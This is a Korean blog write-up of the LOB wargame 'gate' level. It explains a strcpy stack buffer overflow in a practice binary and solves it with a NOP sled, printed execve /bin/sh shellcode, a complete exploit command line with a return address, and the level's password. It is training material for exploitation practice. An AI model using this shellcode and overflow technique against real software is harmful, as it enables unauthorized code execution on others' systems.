cgy12306

[LOB] gate 본문

Wargame/LOB

[LOB] gate

cgy12306 2019. 7. 6. 20:18

ID : gate

PW : gate

 

파일 목록을 확인해보니 gremlin이라는 실행 파일과 C파일이 있다.

 

C파일을 열어보자.

 

버퍼를 256byte 만큼 할당해준다.

인자가 1개면 argv error를 출력하고 종료하며 아닐 경우 두번째 인자를 strcpy함수를 이용해 buffer에 넣고 buffer를 출력하는 코드이다.

strcpy는 문자열의 길이를 검사하지 않고 그대로 복사하기 때문에 버퍼오버플로우에 취약할 수 있다.

 

디버깅 해보자.

 

256(0x100)만큼 버퍼를 할당해주고 strcpy 함수를 호출하는걸 볼 수 있다.

 

시나리오를 작성해보면 256(버퍼) + 4(SFP)를 덮어주고 ret에다가 다른 주소를 넣어 쉘코드를 실행 시킬 것이다.

NOP sled 기법을 사용할 것이다. NOP sled 는 NOP코드(\x90)를 쭉 타고 내려오다가 실행 코드를 만나면 그 실행코드를 실행하는 기법이다.

235(\x90) + 25(쉘코드) + 4(nop의 임의의 주소) 이렇게 작성해준다.

우선 nop이 들어갈 주소를 알아내야 한다. A를 256개 넣어준 후 주소를 알아내면 된다.

 

AA두개를 입력했지만 권한이 없다고 한다. gremlin 파일을 /tmp로 옮겨서 다시 해보자.

 

잘 들어갔다. 주소를 알아내보자.

 

나는 0xbffffc58을 사용할 것이다.

쉘코드는 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

를 사용할 것이다.

 

이제 명령어를 작성해보자.

 

명령어는 ./gremlin `python -c 'print "\x90"*235 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x58\xfc\xff\xbf"'` 이다.

실행해보자.

 

비밀번호는 hello bof world 이다.

'Wargame > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2019.07.15
[LOB] orc  (0) 2019.07.15
[LOB] goblin  (0) 2019.07.15
[LOB] cobolt  (0) 2019.07.06
[LOB] gremlin  (0) 2019.07.06
Comments